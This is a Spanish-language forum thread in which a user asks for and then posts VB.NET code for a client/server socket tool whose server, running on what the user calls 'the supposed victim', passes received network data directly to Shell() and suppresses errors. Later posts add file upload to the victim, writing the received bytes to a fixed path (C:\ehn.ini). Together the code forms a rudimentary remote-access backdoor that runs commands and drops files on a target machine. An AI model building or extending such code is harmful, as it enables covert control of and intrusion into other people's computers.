Buenas,
estoy trabajando en varias aplicaciones con sockets (cliente y servidor) lo tengo bien codeado, realiza las funciones de envio y recibo de datos, los datos recibidos son pasados por la shell en la máquina del server (la supuesta víctima) , ahora quiero enviar archivos pero intente codear las funciones de enviar archivos (en el cliente) y la de recibirlos (en el server) y no lo termino de conseguir. Necesito de vuestra destreza para conseguirlo, me urge porque cuanto antes lo tenga mucho mejor, es un proyecto al que me voy a dedicar durante un tiempo :)
Si me podeis guiar o facilitar algun método para enviar o recibir archivos en los sockets te lo agradecería muchísimo. Probé con el método sendfile y en el cliente leyendo los bytes pero se mezclan las funciones de recibir_archivos y recibir_datos.
Gracias y un saludo!
Pon el source de como envias y recibes archivos quizás sea fácil decirte el error que tienes que hacer el código de nuevo. Recuerda, al enviar/recibir un archivo haces lo mismo que al enviar/recibir datos solo que la información va a parar a una ruta y no a la memoria de la aplicación.
Buenas noches,
aquí te pongo el source de la funcion recibir_datos (los que son pasados a la shell)
If tcpClient.Client.Connected = False Then
Call iniciar_sockets()
Else
While (netStream.DataAvailable = True)
Try
If netStream.CanRead = True Then
Dim bytes(100024) As Byte
netStream.Read(bytes, 0, bytes.Length)
Dim returndata As String = Encoding.ASCII.GetString(bytes)
Try
Shell(returndata)
Catch ex As Exception
End Try
Else
tcpClient.Close()
' Closing the tcpClient instance does not close the network stream.
netStream.Close()
Return
End If
Catch ex As Exception
End Try
End While
End If
y aquí te pongo la funcion de enviar_archivos del Cliente
Private sub enviar_archivos(Byval archivo As String)
Try
sendfile(archivo)
Msgbox("Archivo enviado")
Catch ex As Exception
Msgbox(ex.message.tostring())
End try
End Sub
La ruta de la variable archivo la selecciono con un OpenFileDialog que le pasa dicha ruta por argumento a la variable.
Mi pregunta es, ¿qué función debo implementar en el server para recibir el archivo del método sendfile del cliente?
Muchas gracias tu ayuda.
Un saludo!
¿Habría solución alguna?
Gracias.
Vaya, no me acordaba de que este post seguía abierto.
Para el que esté interesado en el envío de archivos mediante Sockets, aquí dejo el método que teneís que llamar para enviar los ficheros:
tcpclient.client.sendfile("ruta_del_fichero")
Y para recibir el fichero y escribirlo en una ruta concreta, debeis nombrar una nueva variable Filestream que pueda crear un archivo, leerlo y escribirlo
Dim fs As New FileStream("C:\ehn.ini", FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write, 100024)
fs.Write(bytes, 0, bytes.Length)
fs.Close()
Un saludo!